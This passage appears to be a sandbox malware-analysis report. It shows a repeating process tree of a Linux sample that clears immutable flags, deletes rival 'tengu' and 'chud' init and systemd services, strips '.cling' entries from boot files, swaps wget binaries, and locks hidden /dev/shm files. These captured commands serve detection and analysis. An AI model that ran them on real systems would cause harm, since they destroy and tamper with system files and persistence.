                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:970
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:971
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:972
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:973
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:974
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:975
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:976
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:977
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1044
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1045
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1046
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1047
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1048
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1049
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1050
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1051
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1052
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1053
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1054
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1055
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1056
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1057
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1058
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1059
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1124
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1125
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1126
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1127
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1128
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1129
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1130
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1131
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1132
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1133
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1134
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1135
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1136
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1137
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1138
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1139
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1204
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1205
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1206
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1207
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1208
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1209
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1210
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1211
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1212
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1213
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1214
